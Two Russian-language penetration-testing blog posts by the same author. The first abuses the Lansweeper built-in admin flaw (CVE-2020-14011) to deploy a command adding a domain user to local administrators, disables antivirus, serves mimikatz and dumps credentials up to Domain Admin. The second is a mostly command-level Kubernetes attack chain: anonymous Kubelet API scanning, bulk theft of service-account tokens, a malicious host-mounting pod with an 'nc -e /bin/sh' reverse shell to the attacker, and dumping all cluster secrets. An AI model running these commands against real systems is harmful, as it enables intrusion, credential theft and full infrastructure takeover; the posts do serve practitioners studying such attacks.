Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.

Недавно проводили с коллегами очередные работы по тестированию на проникновение и выявили несколько интересных вещей. Про одну из таких вещей я сегодня расскажу. А точнее, я опишу кейс с сервисом Lansweeper, который стал отправной точкой на пути к захвату домена. Напомню, что я разбираю именно кейс, а не базу.

Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными.

Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.

Представим ситуацию, что мы, находясь в инфраструктуре организации, обнаружили сервис под названием Lansweeper. Наша цель - захватить доменную инфраструктуру организации. Но как нам может помочь в этом обнаруженный сервис?

Для начала стоит разобраться, что это за сервис. По своей сути, Lansweeper является платформой для инвентаризации IT-активов организации, а именно - позволяет централизованно управлять IT-инфраструктурой. Забегая вперед, именно это и позволит нам захватить домен.

И так, мы нашли Lansweeper в инфраструктуре организации. Если обратить внимание на скриншот выше, то можно заметить кнопку BUILT-IN ADMIN. С этой простой, казалось бы, кнопкой связана CVE-2020-14011. Ссылка на exploit-db.

Дело в том, что в версиях с 6.0.x по 7.2.x при стандартной установке возникает серьезная проблема в контроле доступа. При первом запуске веб-консоли система предлагает мастер-настройки. Если администратор не снял вручную галочку с параметра Built-in admin, то для учетной записи администратора по умолчанию устанавливается заранее заданный пароль.

При этом, в ходе проекта меня пустило в панель Lansweeper через простое нажатие на кнопку BUILT-IN ADMIN без ввода учетных данных. К слову, версия в Lansweeper была 7.2.108.6:

Самое главное, что мы, как злоумышленник, можем создавать вредоносные пакеты для последующего деплоя на хосты. Делается это через вкладку Deployment:

Создадим вредоносный пакет, в котором будет содержаться команда для добавления доменного пользователя в локальные администраторы. Простой доменный пользователь был в нашем распоряжении. Нажимаем на New Package:

Указываем имя пакета, можно добавить описание. Обязательно указываем в разделе Run Mode - System Account:

После того, как мы создали пакет, нужно добавить действия, которые будут выполнять при деплое этого пакета. Для этого необходимо нажать на Add Step:

В открывшемся меню необходимо изменить Action на Command, указать Step Name, а также вписать саму команду в Command, которая будет исполняться:

net localgroup administrators <DOMAIN_EXAMPLE>\<controlled_username> /add

После этого нужно выбрать параметры в разделах Action on Success и Action on Failure:

Следующее действие - деплой. Я предварительно выбрал цель, куда буду деплоить созданный пакет. К примеру, это может быть один из центральных серверов организации. Нажимаем на Deploy Now:

В открывшемся меню в разделе Deploy On выбираем Selection и из меню Select Assets выбираем интересующую нас цель:

После того, как мы создали задачу на деплой, нам нужно проверить, выполнилось ли наше действие. Для этого нам надо найти нашу цель в разделе Assets:

После того, как мы нашли интересующую нас цель, необходимо перейти во вкладку Deployments и посмотреть лог деплоя:

Как видим, операция прошла успешно и, по идее, мы стали локальным администратором. Если изначальная картина была такая:

nxc smb <target_ip> -u '<controlled_user>' -p '<controlled_user_password>' -d '<example.local>'

То сейчас имеем заветный Pwn3d!:

Попробуем выгрузить хэши из SAM и LSA:

И самое неприятное то, что хэши в формате $DCC2$10240#. Значит, нам надо действовать как-то по-другому, потому что хэши такого типа не могут быть использованы в рамках техники Pass-the-Hash. Воспользуемся remmina для подключения к целевому серверу по протоколу RDP:

И вот мы успешно попали на хост:

Идея заключается в следующем - деактивировать Kaspersky и загрузить mimikatz. СЗИ отключить проблем не составило:

Открываем у себя Python HTTP Server, чтобы доставить mimikatz:

python3 -m http.server 4466

Скачиваем mimikatz на целевой хост:

Запускаем загруженный mimikatz:

Дампим logonpasswords:

privilege::debug
sekurlsa::logonpasswords

Среди всего вывода находим хэш потенциально интересной учетной записи, обладающей высокими привилегиями в домене. На этот раз так сложилось, что мне повезло вытащить хэш учетной записи, входящей в состав группы Domain Admins:

Остается только сдампить NTDS с контроллера домена и победить в этой простой, но интересной битве:

На этом, пожалуй, всё. Мы рассмотрели, как я уже говорил, достаточно простой, но показательный вектор захвата домена.

Хочу выразить огромную благодарность моим коллегам, которые участвовали в проекте. Без вашего вклада и профессионализма такой качественный материал был бы невозможен!

Всем привет, я — o1d_bu7_go1d, занимаюсь пентестами в одной из российских IT-компаний и по совместительству — капитан одноименной CTF-команды в RU-сегменте.

Недавно работал над проектом, где ядром системы выступал Kubernetes. У всех всё бывает в первый раз, соответственно, на этом проекте я впервые познакомился с ним.

В этой статье, я хотел бы поделиться своим опытом, который мне удалось получить на проекте. Думаю, не нужно воспринимать информацию как истину в последней инстанции, я могу ошибаться в каких-то вещах, быть расплывчатым в терминологии. Всегда перепроверяйте то, с чем ознакамливаетесь. И, конечно же, здесь я делюсь именно кейсом, а не рассматриваю базу. Это, скорее, личные заметки.

Я, как автор данного материала, не призываю никого применять описанные в статье техники и тактики тестирования на проникновение с целью причинения любого вида ущерба реальным информационным системам, по причине того, что такие действия являются незаконными.

Я не несу ответственность за действия, совершенные другими лицами с применением описанного материала. Все совпадения представленных данных с реальными компонентами - случайные совпадения, не имеющие к реальности никакого отношения.

Запускаем Nmap, акцентируя внимание на порт 10250. Этот порт по-умолчанию используется Kubelet API:

nmap -p10250 XXX.XXX.XXX.XXX/XX --open -oG - | awk '/\/open\// {print $2}' > kubeletapi-endpoints.txt

Пример полученного файла kubeletapi-endpoints.txt:

XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX3
XXX.XXX.XXX.XX4

В итоге, мы получим список IP-адресов, где есть Kubelet API. Следующий наш шаг будет заключаться в том, чтобы определить, можем ли мы получить анонимный доступ к Kubelet API.

Здесь мы будем акцентировать внимание на то, какой статус-код будет возвращаться от Kubelet API:

• 200 - есть анонимный доступ
• 401 - нет анонимного доступа

while read ip; do status=$(curl -k -s -o /dev/null -w "%{http_code}\n" https://$ip:10250/pods) && echo "$ip $status"; done < kubeletapi-endpoints.txt | grep "200" | awk '{print $1}' > kubeletapi-endpoints-filtered.txt

Пример получившегося файла kubeletapi-endpoints-filtered.txt:

XXX.XXX.XXX.XX1
XXX.XXX.XXX.XX2
XXX.XXX.XXX.XX4

На этом шаге уже будем использовать инструмент kubeletctl. scan rce поможет нам определить, где есть возможность RCE:

while read ip; do ./kubeletctl scan rce -s $ip; done < kubeletapi-endpoints-filtered.txt

Вывод будет в красивых таблицах. Упрощенный пример вывода:

# NODE_IP:PODS:NAMESPACE:CONTAINERS:RCE 

XXX.XXX.XXX.XX1:nginx-a1b2c3e4:localapp:nginx:+

Соответственно, + или - покажут, где можно исполнять команды, а где нет.

Тут два варианта - можно выполнить команды на всех подах, либо точечно, т.е. на конкретном поде:

• На всех подах (как я понял, на контейнерах подов) конкретного Kubelet API:

./kubeletctl run "<bash command>" --all-pods -s XXX.XXX.XXX.XX1

• На конкретном контейнере пода:

./kubeletctl run "<bash command>" -c <container> -p <pod> -n <namespace> -s XXX.XXX.XXX.XX1

• Бонус: на всех подах всех доступных нам Kubelet API:

while read ip; do ./kubeletctl run "<bash command>" --all-pods -s $ip; done < kubeletapi-endpoints-filtered.txt

Поиск токенов на всех pods конкретного Kubelet API:

./kubeletctl scan token -s XXX.XXX.XXX.XX1

Альтернативный способ:

./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s XXX.XXX.XXX.XX1

В данном случае, наверняка, можно грамотно сделать grep, но мне в рамках задачи достаточно было сделать grep по первым символам токена. Получим все токены со всех подов всех доступных Kubelet API:

while read ip; do ./kubeletctl run "cat /var/run/secrets/kubernetes.io/serviceaccount/token" --all-pods -s $ip | grep "<first-N-jwt-token-symbols>"; done < kubeletapi-endpoints-filtered.txt > leaked_service_accounts_tokens.txt

Подсчитать количество токенов:

wc -l leaked_service_accounts_tokens.txt

Теперь, когда мы забрали токены, нам нужно найти среди них такие, с помощью которых мы сможем делать ВСЁ. Для этого в kubectl есть отдельная команда - auth can-i '*' '*':

while read token; do result=$(./kubectl auth can-i '*' '*' --token $token --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true) && echo "$result : $token"; done < leaked_service_accounts_tokens.txt

Если хотя бы один такой токен нашелся (в ответ от API мы должны получить yes), то мы почти победили.

Добавим найденный токен в переменную окружения на Kali Linux:

export PRIVTOKEN=<jwt-token-here>

Создаем вредоносный под. У себя на Kali я создаю mal.yaml со следующим содержимым:

apiVersion: v1
kind: Pod
metadata:
    name: o1dbu7go1d
spec:
    containers:
    - name: busybox
      image: busybox:latest 
      command: ["/bin/sh"]
      args: ["-c", "nc <kali-listener-ip> <kali-listener-port> -e /bin/sh"]
      volumeMounts:
      - name: host
        mountPath: /host
    volumes:
    - name: host
      hostPath: 
        path: /

Cтавим на Kali порт на прослушивание:

nc -lvnp <kali-listener-port>

После чего, создаем evil-pod по ранее заготовленному YAML-конфигу:

./kubectl apply -f mal.yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Если вывелось pod/o1dbu7go1d created, то мы все сделали правильно, и в nc мы увидим коннект (если он разорвался, стоит попробовать еще раз, у меня было так). Я получил сразу root. Стоит сделать chroot /host и мы сменим корневую директорию на корневую директорию хостовой ОС.

• Эндпоинты Kubelet API - обращение через curl:

curl -k https://XXX.XXX.XXX.XX1:10250/pods
curl -k https://XXX.XXX.XXX.XX1:10250/runningpods
curl -k https://XXX.XXX.XXX.XX1:10250/metrics
curl -k https://XXX.XXX.XXX.XX1:10250/configz
curl -k https://XXX.XXX.XXX.XX1:10250/exec
curl -k https://XXX.XXX.XXX.XX1:10250/run

• Пример сбора конкретных данных из полученного json от Kubelet API:

curl -k https://XXX.XXX.XXX.XX1:10250/pods | jq '.items[].metadata.name' | tr -d '"' > pods-XXX.XXX.XXX.XX1.txt

• Сбор всех секретов (во всех пространствах имен):

./kubectl get secrets --all-namespaces --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Упрощенный пример вывода:

# NAMESPACE:NAME:TYPE:DATA:AGE

gitlab-runner:deploy-pull-secret:kubernetes.io/dockerconfigjson:1:2y20d

В колонке DATA будет указано количество секретов. Также, они могут иметь разные типы (колонка TYPE), например Opaque - общий тип для произвольных данных или kubernetes.io/tls - TLS-сертификат и ключ.

• Чтение конкретного секрета:

./kubectl get secret <secret-name> -n <namespace> -o yaml --token $PRIVTOKEN --server=https://XXX.XXX.XXX.XX1:6443 --insecure-skip-tls-verify=true

Можно вывести и в json, используя -o json вместо -o yaml. Сами секреты закодированы в base64. Берем строку и декодируем:

echo <base64-secret-string> | base64 -d

Также стоит искать в подах другие потенциально интересные секреты. Например, секреты сервисов - токены от gitlab, если есть gitlab-runner'ы и другие. И всегда стоит проверять переменные окружения через env.

Статья подошла к концу. Итоговая цепочка атаки у нас получилась следующая:

1. Нахождение Kubelet API и проверка анонимного доступа к нему
2. Нахождение pods, на которых доступно RCE
3. Компрометация Service Account Токенов и быстрое определение привилегий
4. Создание evil-pod с примонтированной хостовой ОС
5. Pwned!